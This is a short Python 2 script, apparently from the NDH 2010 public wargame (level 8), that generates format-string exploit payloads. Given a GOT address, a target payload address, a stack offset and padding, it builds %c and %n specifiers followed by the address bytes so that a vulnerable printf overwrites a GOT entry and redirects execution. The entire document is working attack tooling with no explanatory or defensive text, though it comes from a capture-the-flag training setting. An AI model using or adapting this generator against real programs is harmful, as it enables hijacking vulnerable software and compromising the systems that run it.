NDH 2k10 public wargame, level8, fs tool

#!/usr/bin/python
from sys import argv
from getopt import getopt

opt,arg = getopt(argv[1:], "g:v:o:p:l")
target = []
desire = []
offset = -1
padding = ""
LE = 0x000000FF
string = ""

for o,a in opt:
    if o == "-g":
        a = int(a, 16)
        for i in range(4):
            target.append([a&LE, (a>>8)&LE, (a>>16)&LE, (a>>24)&LE])
            a += 1
    elif o == "-v":
        desire = [int(a, 16)&LE, (int(a, 16)>>8)&LE, (int(a, 16)>>16)&LE, (int(a, 16)>>24)&LE]
    elif o == "-o":
        offset = int(a)
    elif o == "-p":
        padding = a

if target == [] or desire == [] or offset == -1:
    print "%s -g <got_addr> -v <payload_addr> -o <offset> [-p <padding>]"%argv[0]
    exit(1)

string += "%%1$%04dc%%%04d$n"%(desire[0], offset)
string += "%%1$%04dc%%%04d$n"%(256+desire[1]-desire[0], offset+1)
string += "%%1$%04dc%%%04d$n"%(256+desire[2]-desire[1], offset+2)
string += "%%1$%04dc%%%04d$n"%(256+desire[3]-desire[2], offset+3)

for i in range(4):
    string += "%c%c%c%c"%tuple(target[i])
string += "%c%c%c%c"%tuple(desire) #useless -_-"
string += padding
print string